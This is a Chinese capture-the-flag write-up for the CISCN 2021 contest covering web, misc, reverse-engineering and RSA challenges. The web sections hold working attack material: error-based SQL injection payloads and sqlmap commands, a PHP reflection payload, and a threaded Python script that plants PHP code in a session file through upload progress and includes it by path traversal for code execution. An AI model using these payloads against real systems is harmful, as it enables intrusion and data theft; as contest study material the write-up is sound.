title: CISCN2021-第十四届全国大学生信息安全竞赛-WriteUp
tags:

  • CISCN
  • CTF
  • WP
    abbrlink: 6c0728af
    date: 2021-05-17 15:17:55

WriteUp - Maple_root -CISCN2021

总结

总得分：3400

总排名：203

赛区排名：21

第一次认真参加正式的CTF，24+3小时的脑血栓比赛时长，收获还是很多的。

开卷

WEB

easy_sql

Sqlmap -r /root/wordlist/table.txt -p uname -D security --tables
Sqlmap直接跑出两张表(flag, user)
单跑不出列名
回去找到sqlmap的payload
uname=admin') RLIKE (SELECT (CASE WHEN (7431=7431) THEN 0x61646d696e ELSE 0x28 END))-- WQuk&passwd=admin&Submit=%E7%99%BB%E5%BD%95
修改payload
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b ) as c limit 1,1)),1)%23
爆出第一个列id
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id)) as c limit 1,1)),1)%23
爆出第二个列no
Admin’)||updatexml(1,((select * from (select * from flag as a join flag as b using(id，no)) as c limit 1,1)),1)%23
爆出最后一列fec74227-42d6-4636-a0d4-92f8a913vfd6
最后查询出flag

easy_source

扫描找到.index.php.swo，得到index.php源码。

  1. 本题目没有其他代码了噢，就只有这一个文件，虽然你看到的不完全，但是你觉得我会把flag藏在哪里呢，仔细想想文件里面还有什么？
  2. <?php
  3. class User
  4. {
  5.     private static $c = 0;
  7.     function a()
  8.     {
  9.         return ++self::$c;
  10.     }
  12.     function b()
  13.     {
  14.         return ++self::$c;
  15.     }
  17.     function c()
  18.     {
  19.         return ++self::$c;
  20.     }
  22.     function d()
  23.     {
  24.         return ++self::$c;
  25.     }
  27.     function e()
  28.     {
  29.         return ++self::$c;
  30.     }
  32.     function f()
  33.     {
  34.         return ++self::$c;
  35.     }
  37.     function g()
  38.     {
  39.         return ++self::$c;
  40.     }
  42.     function h()
  43.     {
  44.         return ++self::$c;
  45.     }
  47.     function i()
  48.     {
  49.         return ++self::$c;
  50.     }
  52.     function j()
  53.     {
  54.         return ++self::$c;
  55.     }
  57.     function k()
  58.     {
  59.         return ++self::$c;
  60.     }
  62.     function l()
  63.     {
  64.         return ++self::$c;
  65.     }
  67.     function m()
  68.     {
  69.         return ++self::$c;
  70.     }
  72.     function n()
  73.     {
  74.         return ++self::$c;
  75.     }
  77.     function o()
  78.     {
  79.         return ++self::$c;
  80.     }
  82.     function p()
  83.     {
  84.         return ++self::$c;
  85.     }
  87.     function q()
  88.     {
  89.         return ++self::$c;
  90.     }
  92.     function r()
  93.     {
  94.         return ++self::$c;
  95.     }
  97.     function s()
  98.     {
  99.         return ++self::$c;
  100.     }
  102.     function t()
  103.     {
  104.         return ++self::$c;
  105.     }
  107. }
  109. $rc=$_GET["rc"];
  110. $rb=$_GET["rb"];
  111. $ra=$_GET["ra"];
  112. $rd=$_GET["rd"];
  113. $method= new $rc($ra, $rb);
  114. var_dump($method->$rd());

构造ReflectionMethod类遍历a-t方法的注释，payload：?ra=User&rb=a&rc=ReflectionMethod&rd=getDocComment。
其中一个方法注释中包含flag。

MISC

tiny_traffic

分析流量，导出全部http对象。
在python中使用brotli解码test和secret。

  1. import brotli
  3. def extract(file_name):
  4.     out = open(file_name + "_extracted", "wb")
  5.     out.write(brotli.decompress(open(file_name, "rb").read()))
  6.     out.close()
  8. if __name__ == '__main__':
  9.     extract("secret")
  10.     extract("test")

test为一个proto文件，内容为：

  1. syntax = "proto3";
  3. message PBResponse {
  4.   int32 code = 1;
  5.   int64 flag_part_convert_to_hex_plz = 2;
  6.   message data {
  7.     string junk_data = 2;
  8.     string flag_part = 1;
  9.   }
  10.   repeated data dataList = 3;
  11.   int32 flag_part_plz_convert_to_hex = 4;
  12.   string flag_last_part = 5;
  13. }
  15. message PBRequest {
  16.   string cate_id = 1;
  17.   int32 page = 2;
  18.   int32 pageSize = 3;
  19. }

猜测secret为PBResponse Message，使用protoc解码

  1. $ protoc --decode=PBResponse ./test_extracted < ./secret_extracted
  2. code: 200
  3. flag_part_convert_to_hex_plz: 15100450
  4. dataList {
  5.   flag_part: "e2345"
  6.   junk_data: "7af2c"
  7. }
  8. dataList {
  9.   flag_part: "7889b0"
  10.   junk_data: "82bc0"
  11. }
  12. flag_part_plz_convert_to_hex: 16453958
  13. flag_last_part: "d172a38dc"

忽略junk_data，部分提示转换字段转为hex后拼接得到flag。

running_pixel

导出gif全部关键帧，在最后几帧发现异常白点，ps取色为rgb(233,233,233)。
CISCN2021-第十四届全国大学生信息安全竞赛-WriteUp - 图1
因与背景色rgb(247,247,247)过于相近，怀疑存在隐写。
使用python将所有关键帧中的(233,233,233)像素点在同等大小的画布上画成黑色，每画一下保存一张关键帧。

  1. from PIL import Image
  2. import time
  4. out = Image.new("L", (400,400), 255)
  6. for i in range(1,383):
  7.     img = Image.open(f"{i}.png").convert("RGB")
  8.     for x in range(img.size[0]):
  9.         for y in range(img.size[1]):
  10.             p = img.getpixel((x,y))
  11.             if p == (233,233,233):
  12.                 print(i,x,y)
  13.                 out.putpixel((y,x), 0)
  14.                 out.save(f"out{i}.png")
  16. out.save(f"out{i+1}.png")

从头逐一切换图片，观察到黑色像素画出flag。

第二卷

WEB

middle_source

扫描找到.listing文件，内有提示you_can_seeeeeeee_me.php，打开是一个phpinfo。
phpinfo中给出了sessions目录，利用条件竞争包含session漏洞，将PHP_SESSION_UPLOAD_PROGRESS内添加php代码并上传文件执行代码。

  1. import time
  3. import requests
  4. import threading
  5. import io
  7. target = "http://124.71.231.151:25908/"
  8. session_id = "bellwind"
  10. payload = {
  11.     "cf": "../../../var/lib/php/sessions/eacadbajad/sess_{}".format(session_id),
  12.     "field": "?????",
  13. }
  14. event = threading.Event()
  17. def write(session: requests.Session):
  18.     file = io.BytesIO(b'A'*1024*5)
  19.     while True:
  20.         event.wait()
  21.         response = session.post(
  22.             target,
  23.             data={
  24.                 "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /etc > 1.txt');?>"
  25.             },
  26.             cookies={
  27.                 "PHPSESSID": session_id
  28.             },
  29.             files={
  30.                 "file": ("verysafe.jpg", file)
  31.             }
  32.         )
  33.         print(response.text)
  36. def read(session: requests.Session):
  37.     while True:
  38.         event.wait()
  39.         response = session.post(
  40.             target,
  41.             data=payload,
  42.             cookies={
  43.                 "PHPSESSID": session_id
  44.             },
  45.         )
  46.         print(response.text)
  49. if __name__ == '__main__':
  50.     sess = requests.session()
  51.     for _ in range(20):
  52.         threading.Thread(target=write, args=(sess,)).start()
  53.     for _ in range(20):
  54.         threading.Thread(target=read, args=(sess,)).start()
  55.     event.set()
  56.     while event.isSet():
  57.         time.sleep(1)
  58.         print("waiting.")

经测试无法执行命令，但函数是可以用的。这里利用scandir函数列/etc目录文件，最终在/etc/icbjgbfahe/ajgfbfeedc/bfcefdfdda/icdjcdcabj/ddadebjbab下找到fl444444g，file_get_contents函数读取得到flag。

MISC

隔空传话

使用golang解码pdu信息data.txt，可知前八位flag为手机号前八位。

  1. package main
  3. import (
  4.     "encoding/hex"
  5.     "fmt"
  6.     "github.com/xlab/at/sms"
  7.     "io/ioutil"
  8.     "sort"
  9.     "strings"
  10.     "time"
  11. )
  13. func main() {
  14.     data, _ := ioutil.ReadFile("data.txt")
  15.     s := string(data)
  16.     s1 := strings.Split(s, "\r\n")[4:]
  17.     var result []*sms.Message
  18.     for _, s := range s1 {
  19.         if r := decode(s); r != nil {
  20.             result = append(result, r)
  21.         }
  22.     }
  23.     sorter := messageSorter(result)
  24.     sort.Sort(sorter)
  25.     fina := ""
  26.     for _, s := range sorter {
  27.         fina += s.Text
  28.     }
  29.     fmt.Println(fina)
  30. }
  32. func decode(msg string) *sms.Message {
  33.     bs, _ := hex.DecodeString(msg)
  34.     m := new(sms.Message)
  35.     _, err := m.ReadFrom(bs)
  36.     if err != nil {
  37.         return nil
  38.     }
  39.     return m
  40. }
  42. type messageSorter []*sms.Message
  44. func (m messageSorter) Len() int {
  45.     return len(m)
  46. }
  48. func (m messageSorter) Less(i, j int) bool {
  49.     ms := []*sms.Message(m)
  50.     return time.Time(ms[i].ServiceCenterTime).Before(time.Time(ms[j].ServiceCenterTime))
  51. }
  53. func (m messageSorter) Swap(i, j int) {
  54.     m[i], m[j] = m[j], m[i]
  55. }

根据时间戳排序并连接数据，可发现十六进制是一张png图片。
保存为png后爆破宽高，倒转图片方向读后半段flag并连接前段flag。

RE

baby_bc

下载下来是一个baby.bc文件，需要先用clang将其编译为二进制可执行文件，然后再在IDA中将其反编译然后进行进一步分析。
先对main函数进行分析

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   unsigned __int64 v4; // [rsp+8h] [rbp-20h]
  4.   unsigned __int64 i; // [rsp+10h] [rbp-18h]
  5.   size_t v6; // [rsp+18h] [rbp-10h]
  7.   __isoc99_scanf(&unk_403004, input, envp);
  8.   if ( (unsigned int)strlen(input) == 25 )      // 长度为25
  9.   {
  10.     if ( input[0] )                             // 有输入
  11.     {
  12.       if ( (unsigned __int8)(input[0] - 48) > 5u )
  13.         return 0;
  14.       v6 = strlen(input);
  15.       for ( i = 1LL; ; ++i )
  16.       {
  17.         v4 = i;
  18.         if ( i >= v6 )                          // 超出字符串长度
  19.           break;
  20.         if ( (unsigned __int8)(input[v4] - 48) > 5u )
  21.           return 0;
  22.       }
  23.     }
  24.     if ( (fill_number(input) & 1) != 0 && (docheck() & 1) != 0 )
  25.       printf("CISCN{MD5(%s)}", input);
  26.   }
  27.   return 0;
  28. }

可以看出主要的处理逻辑是在24行if语句中的fill_number和docheck当中，然后就要输出的格式为CISCN{MD5(%s)}，接着分析这两个函数
fill_number:

  1. __int64 __fastcall fill_number(__int64 a1)
  2. {
  3.   char v2; // [rsp+1h] [rbp-69h]
  4.   char v3; // [rsp+11h] [rbp-59h]
  5.   char v4; // [rsp+21h] [rbp-49h]
  6.   char v5; // [rsp+31h] [rbp-39h]
  7.   char v6; // [rsp+40h] [rbp-2Ah]
  8.   char v7; // [rsp+41h] [rbp-29h]
  9.   __int64 v8; // [rsp+4Ah] [rbp-20h]
  10.   __int64 v9; // [rsp+52h] [rbp-18h]
  11.   __int64 v10; // [rsp+5Ah] [rbp-10h]
  13.   v10 = 0LL;
  14.   do
  15.   {
  16.     v9 = v10;
  17.     v8 = 5 * v10;
  18.     v7 = *(_BYTE *)(a1 + 5 * v10);
  19.     if ( map[5 * v10] )
  20.     {
  21.       v6 = 0;
  22.       if ( v7 != 48 )
  23.         return v6 & 1;
  24.     }
  25.     else
  26.     {
  27.       map[5 * v10] = v7 - 48;
  28.     }
  29.     v5 = *(_BYTE *)(a1 + v8 + 1);
  30.     if ( map[5 * v10 + 1] )
  31.     {
  32.       v6 = 0;
  33.       if ( v5 != 48 )
  34.         return v6 & 1;
  35.     }
  36.     else
  37.     {
  38.       map[5 * v10 + 1] = v5 - 48;
  39.     }
  40.     v4 = *(_BYTE *)(a1 + v8 + 2);
  41.     if ( map[5 * v10 + 2] )
  42.     {
  43.       v6 = 0;
  44.       if ( v4 != 48 )
  45.         return v6 & 1;
  46.     }
  47.     else
  48.     {
  49.       map[5 * v10 + 2] = v4 - 48;
  50.     }
  51.     v3 = *(_BYTE *)(a1 + v8 + 3);
  52.     if ( map[5 * v10 + 3] )
  53.     {
  54.       v6 = 0;
  55.       if ( v3 != 48 )
  56.         return v6 & 1;
  57.     }
  58.     else
  59.     {
  60.       map[5 * v10 + 3] = v3 - 48;
  61.     }
  62.     v2 = *(_BYTE *)(a1 + v8 + 4);
  63.     if ( map[5 * v10 + 4] )
  64.     {
  65.       v6 = 0;
  66.       if ( v2 != 48 )
  67.         return v6 & 1;
  68.     }
  69.     else
  70.     {
  71.       map[5 * v10 + 4] = v2 - 48;
  72.     }
  73.     ++v10;
  74.     v6 = 1;
  75.   }
  76.   while ( v9 + 1 < 5 );
  77.   return v6 & 1;
  78. }

fill_number的主要逻辑是5位5位取数以后，按给定的逻辑给各位的值减去48，但是由于题目没有给出输入的数，所以需要根据输出的值判定一开始的值，所以接着看check函数

  1. __int64 docheck()
  2. {
  3.   char v1; // [rsp+2Eh] [rbp-9Ah]
  4.   __int64 v2; // [rsp+30h] [rbp-98h]
  5.   __int64 v3; // [rsp+40h] [rbp-88h]
  6.   __int64 v4; // [rsp+50h] [rbp-78h]
  7.   __int64 v5; // [rsp+58h] [rbp-70h]
  8.   char *v6; // [rsp+68h] [rbp-60h]
  9.   __int64 v7; // [rsp+70h] [rbp-58h]
  10.   char v8; // [rsp+7Fh] [rbp-49h]
  11.   char *v9; // [rsp+88h] [rbp-40h]
  12.   __int64 v10; // [rsp+90h] [rbp-38h]
  13.   __int64 v11; // [rsp+98h] [rbp-30h]
  14.   __int64 v12; // [rsp+A8h] [rbp-20h]
  15.   char v13[6]; // [rsp+BCh] [rbp-Ch] BYREF
  16.   char v14[6]; // [rsp+C2h] [rbp-6h] BYREF
  18.   v12 = 0LL;
  19.   do
  20.   {
  21.     v10 = v12;
  22.     memset(v14, 0, sizeof(v14));
  23.     v9 = &v14[(unsigned __int8)map[5 * v12]];
  24.     if ( *v9
  25.       || (*v9 = 1, v14[(unsigned __int8)map[5 * v12 + 1]])
  26.       || (v14[(unsigned __int8)map[5 * v12 + 1]] = 1, v14[(unsigned __int8)map[5 * v12 + 2]])
  27.       || (v14[(unsigned __int8)map[5 * v12 + 2]] = 1, v14[(unsigned __int8)map[5 * v12 + 3]])
  28.       || (v14[(unsigned __int8)map[5 * v12 + 3]] = 1, v14[(unsigned __int8)map[5 * v12 + 4]]) )
  29.     {
  30.       v8 = 0;
  31.       return v8 & 1;
  32.     }
  33.     ++v12;
  34.   }
  35.   while ( v10 + 1 < 5 );
  36.   v11 = 0LL;
  37.   while ( 1 )
  38.   {
  39.     v7 = v11;
  40.     memset(v13, 0, sizeof(v13));
  41.     v6 = &v13[(unsigned __int8)map[v11]];
  42.     if ( *v6 )
  43.       break;
  44.     *v6 = 1;
  45.     if ( v13[(unsigned __int8)byte_405055[v11]] )
  46.       break;
  47.     v13[(unsigned __int8)byte_405055[v11]] = 1;
  48.     if ( v13[(unsigned __int8)byte_40505A[v11]] )
  49.       break;
  50.     v13[(unsigned __int8)byte_40505A[v11]] = 1;
  51.     if ( v13[(unsigned __int8)byte_40505F[v11]] )
  52.       break;
  53.     v13[(unsigned __int8)byte_40505F[v11]] = 1;
  54.     if ( v13[(unsigned __int8)byte_405064[v11]] )
  55.       break;
  56.     ++v11;
  57.     if ( v7 + 1 >= 5 )
  58.     {
  59.       v5 = 0LL;
  60.       while ( 1 )
  61.       {
  62.         v4 = v5;
  63.         if ( row[4 * v5] == 1 )
  64.         {
  65.           if ( (unsigned __int8)map[5 * v5] < (unsigned __int8)map[5 * v5 + 1] )
  66.             goto LABEL_27;
  67.         }
  68.         else if ( row[4 * v5] == 2 && (unsigned __int8)map[5 * v5] > (unsigned __int8)map[5 * v5 + 1] )
  69.         {
  70. LABEL_27:
  71.           v8 = 0;
  72.           return v8 & 1;
  73.         }
  74.         if ( byte_405071[4 * v5] == 1 )
  75.         {
  76.           if ( (unsigned __int8)map[5 * v5 + 1] < (unsigned __int8)map[5 * v5 + 2] )
  77.             goto LABEL_27;
  78.         }
  79.         else if ( byte_405071[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 1] > (unsigned __int8)map[5 * v5 + 2] )
  80.         {
  81.           goto LABEL_27;
  82.         }
  83.         if ( byte_405072[4 * v5] == 1 )
  84.         {
  85.           if ( (unsigned __int8)map[5 * v5 + 2] < (unsigned __int8)map[5 * v5 + 3] )
  86.             goto LABEL_27;
  87.         }
  88.         else if ( byte_405072[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 2] > (unsigned __int8)map[5 * v5 + 3] )
  89.         {
  90.           goto LABEL_27;
  91.         }
  92.         if ( byte_405073[4 * v5] == 1 )
  93.         {
  94.           if ( (unsigned __int8)map[5 * v5 + 3] < (unsigned __int8)map[5 * v5 + 4] )
  95.             goto LABEL_27;
  96.         }
  97.         else if ( byte_405073[4 * v5] == 2 && (unsigned __int8)map[5 * v5 + 3] > (unsigned __int8)map[5 * v5 + 4] )
  98.         {
  99.           goto LABEL_27;
  100.         }
  101.         ++v5;
  102.         if ( v4 + 1 >= 5 )
  103.         {
  104.           v3 = 0LL;
  105.           while ( 1 )
  106.           {
  107.             v2 = v3 + 1;
  108.             if ( col[5 * v3] == 1 )
  109.             {
  110.               v1 = 0;
  111.               if ( (unsigned __int8)map[5 * v3] > (unsigned __int8)map[5 * v2] )
  112.                 goto LABEL_26;
  113.             }
  114.             else if ( col[5 * v3] == 2 )
  115.             {
  116.               v1 = 0;
  117.               if ( (unsigned __int8)map[5 * v3] < (unsigned __int8)map[5 * v2] )
  118.               {
  119. LABEL_26:
  120.                 v8 = v1;
  121.                 return v8 & 1;
  122.               }
  123.             }
  124.             if ( byte_405091[5 * v3] == 1 )
  125.             {
  126.               v1 = 0;
  127.               if ( (unsigned __int8)map[5 * v3 + 1] > (unsigned __int8)map[5 * v2 + 1] )
  128.                 goto LABEL_26;
  129.             }
  130.             else if ( byte_405091[5 * v3] == 2 )
  131.             {
  132.               v1 = 0;
  133.               if ( (unsigned __int8)map[5 * v3 + 1] < (unsigned __int8)map[5 * v2 + 1] )
  134.                 goto LABEL_26;
  135.             }
  136.             if ( byte_405092[5 * v3] == 1 )
  137.             {
  138.               v1 = 0;
  139.               if ( (unsigned __int8)map[5 * v3 + 2] > (unsigned __int8)map[5 * v2 + 2] )
  140.                 goto LABEL_26;
  141.             }
  142.             else if ( byte_405092[5 * v3] == 2 )
  143.             {
  144.               v1 = 0;
  145.               if ( (unsigned __int8)map[5 * v3 + 2] < (unsigned __int8)map[5 * v2 + 2] )
  146.                 goto LABEL_26;
  147.             }
  148.             if ( byte_405093[5 * v3] == 1 )
  149.             {
  150.               v1 = 0;
  151.               if ( (unsigned __int8)map[5 * v3 + 3] > (unsigned __int8)map[5 * v2 + 3] )
  152.                 goto LABEL_26;
  153.             }
  154.             else if ( byte_405093[5 * v3] == 2 )
  155.             {
  156.               v1 = 0;
  157.               if ( (unsigned __int8)map[5 * v3 + 3] < (unsigned __int8)map[5 * v2 + 3] )
  158.                 goto LABEL_26;
  159.             }
  160.             if ( byte_405094[5 * v3] == 1 )
  161.             {
  162.               v1 = 0;
  163.               if ( (unsigned __int8)map[5 * v3 + 4] > (unsigned __int8)map[5 * v2 + 4] )
  164.                 goto LABEL_26;
  165.             }
  166.             else if ( byte_405094[5 * v3] == 2 )
  167.             {
  168.               v1 = 0;
  169.               if ( (unsigned __int8)map[5 * v3 + 4] < (unsigned __int8)map[5 * v2 + 4] )
  170.                 goto LABEL_26;
  171.             }
  172.             ++v3;
  173.             v1 = 1;
  174.             if ( v2 >= 4 )
  175.               goto LABEL_26;
  176.           }
  177.         }
  178.       }
  179.     }
  180.   }
  181.   v8 = 0;
  182.   return v8 & 1;
  183. }

这里值得说的就是这个使用goto LABEL实现的(个人认为是)for循环的if结构的语句，按照程序逻辑是一个求多元方程的过程，所以选择了python的z3库来解决，根据前面分析的逻辑逆向求解即可。

  1. import hashlib
  2. from z3 import *
  4. zy=[0x00, 0x00, 0x00, 0x01,0x01, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x01,0x00, 0x00, 0x00, 0x00,0x01, 0x00, 0x01, 0x00]
  5. sx=[0x00, 0x00, 0x02, 0x00,0x02,0x00, 0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x01, 0x00,0x00, 0x01, 0x00, 0x00, 0x01]
  6. ts = Solver()
  7. map = [BitVec('s%d' % i, 4) for i in range(25)]
  8. ts.add(map[5*2+2] == 4)
  9. ts.add(map[5*3+3] == 3)
  11. for i in map:
  12.     ts.add(i > 0)
  13.     ts.add(i <= 5)
  14. for a in range(5):
  15.     ts.add(
  16.     And(map[5 * a] != map[5 * a + 1],
  17.         map[5 * a] != map[5 * a + 2],
  18.         map[5 * a] != map[5 * a + 3],
  19.         map[5 * a] != map[5 * a + 4],
  20.         map[5 * a + 1] != map[5 * a + 2],
  21.         map[5 * a + 1] != map[5 * a + 3],
  22.         map[5 * a + 1] != map[5 * a + 4],
  23.         map[5 * a + 2] != map[5 * a + 3],
  24.         map[5 * a + 2] != map[5 * a + 4],
  25.         map[5 * a + 3] != map[5 * a + 4]))
  26. for b in range(5):
  27.     ts.add(
  28.     And(map[5 * 0 + b] != map[5 * 1 + b],
  29.         map[5 * 0 + b] != map[5 * 2 + b],
  30.         map[5 * 0 + b] != map[5 * 3 + b],
  31.         map[5 * 0 + b] != map[5 * 4 + b],
  32.         map[5 * 1 + b] != map[5 * 2 + b],
  33.         map[5 * 1 + b] != map[5 * 3 + b],
  34.         map[5 * 1 + b] != map[5 * 4 + b],
  35.         map[5 * 2 + b] != map[5 * 3 + b],
  36.         map[5 * 2 + b] != map[5 * 4 + b],
  37.         map[5 * 3 + b] != map[5 * 4 + b]
  38.         ))
  39. for b in range(4):
  40.  for y in range(5):
  41.         ts.add(map[5 * b + y] != map[5 * (b + 1) + y])
  42. for a in range(5):
  43.  for x in range(4):
  44.     if zy[4 * a + x]==1:
  45.         ts.add(map[5 * a + x] > map[5 * a + x + 1])
  46.     elif zy[4 * a + x] == 2:
  47.         ts.add(map[5 * a + x] < map[5 * a + x + 1])
  48. for b in range(4):
  49.  for y in range(5):
  50.     if sx[5 * b + y]==1:
  51.         ts.add(map[5 * b + y] < map[5 * (b + 1) + y])
  52.     elif sx[5 * b + y] == 2 :
  53.         ts.add(map[5 * b + y] > map[5 * (b + 1) + y])
  54. print()
  55. while ts.check() == sat:
  56.     answer = ts.model()
  57.     condition = []
  58.     p = []
  59.     for i in map:
  60.         p += [answer[i]]
  61.         condition.append(i != answer[i])
  62.     p[5 * 2 + 2] = 0
  63.     p[5 * 3 + 3] = 0
  64.     ts.add(Or(condition))
  66. p=[1, 4, 2, 5, 3, 5, 3, 1, 4, 2, 3, 5, 0, 2, 1, 2, 1, 5, 0, 4, 4, 2, 3, 1, 5]
  67. l=''
  68. for i in p:
  69.     l+=str(i)
  70. md = hashlib.md5()
  71. md.update(l.encode())
  72. print('CISCN{'+md.hexdigest()+'}')

第三卷

MISC

robot

下载后发现rspag文件是robotstdio的仿真文件，在WireShark中看看流量，注意到部分流量中出现了Value[193, 65, 0],这个Value属性内的数据根据题目给的提示很有可能就是整个题目的破题点。

  1. import re
  2. from PIL import Image
  4. a = re.compile(r'Value\.\[(\d+),(\d+),(\d+)\]')
  6. with open('a','r') as f:
  7.     data = f.read()
  8.     data1 = a.findall(data)
  10. print(data1)
  12. img = Image.new('RGB', (456, 456))
  13. for i in data1:
  14.     tmp = (int(i[0]), int(i[1]))
  15.     img.putpixel(tmp, 255)
  16. img.save("b.png")

得到flageasy_robo_xx，对其进行md5加密之后得到解CISCN{d4f1fb80bc11ffd722861367747c0f10}

CRYPTO

RSA

计算p和q

  1. n = 0xa188aaaf75c79219462f0ba90b68cb6e0694b113c89b8006f3a54f6374bbc0d91fb83b15866d93fd74019e1e541edce6c06c012c76f41af516f5cc89f5f9984f4e626607632edec7139e5acc4a3f3f0dd90665d469fcf7c9226fb0fe275b6b2a776dac8d032c880eec9862fc9d6480fb9cd2ce3e65867eac7e52d4462fb501eb
  3. p = 0xda5f14bacd97f5504f39eeef22af37e8551700296843e536760cea761d334508003e01b886c0c600000000000000000000000000000000000000000000000000
  4. k = 200
  5. PR.<x> = PolynomialRing(Zmod(n))
  6. s = x + p
  7. x0 = s.small_roots(X=2^k, beta=0.4)[0]
  8. p = p+x0
  9. print("p:    ", hex(int(p)))
  10. q = n/int(p)
  11. print("q:    ", hex(int(q)))

解密msg

  1. import hashlib
  2. import gmpy2
  3. from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime
  4. from gmpy2 import *
  6. xx = 0
  7. yy = 2
  9. text = []
  11. m1 = bytes_to_long(text[:xx])
  12. m2 = bytes_to_long(text[xx:yy])
  13. m3 = bytes_to_long(text[yy:])
  15. e1 = 3
  16. p1 = getPrime(512)
  17. q1 = getPrime(512)
  18. N1 = p1*q1
  19. print pow(m1,e1,N1)
  20. print (e1,N1)
  22. p2 = getPrime(512)
  23. e2 = 17
  24. e3 = 65537
  25. q2 = getPrime(512)
  26. N2 = p2*q2
  28. print (e2,N2)
  29. print (e3,N2)
  30. print pow(m2,e2,N2)
  31. print pow(m2,e3,N2)
  33. p3 = getPrime(512)
  34. q3 = getPrime(512)
  35. N3 = p3*q3
  37. print pow(m3,e3,N3)
  38. print p3>>200
  39. print (e3,N3)
  41. n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009L
  42. e1 = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
  44. m1 = ""
  45. m2 = ""
  46. m3 = ""
  48. for j in range(0, 130000000):
  49.     a, b = gmpy2.iroot(e1 + j * n, 3)
  50.     if b == 1:
  51.         m = a
  52.         print('x is {:x}'.format(m))
  53.         print("flag is {}".format(long_to_bytes(m)))
  54.         m1 = long_to_bytes(m)
  55.         break
  57. n2 = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977L
  59. e1 = 17
  60. e2 = 65537
  62. s = gcdext(e1, e2)
  64. s1 = s[1]
  65. s2 = -s[2]
  67. c2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
  68. c1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
  70. c2 = invert(c2, n2)
  71. m = (pow(c1,s1,n2) * pow(c2 , s2 , n2)) % n2
  72. m2 = long_to_bytes(m)
  74. p3 = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
  75. q3 = 9918033198963879798362329507637256706010562962487329742400933192721549307087332482107381554368538995776396557446746866861247191248938339640876368268930589
  76. enc3 = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
  77. e3 = 65537
  78. n3 = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L
  81. ph3 = (p3-1)*(q3-1)
  82. d3 = gmpy2.invert(e3,ph3)
  83. m3 = pow(enc3,d3,n3)
  84. m3 = long_to_bytes(m3)
  85. message = m1 + m2 + m3
  87. md5 = hashlib.md5()
  88. md5.update(message)
  89. print md5.hexdigest()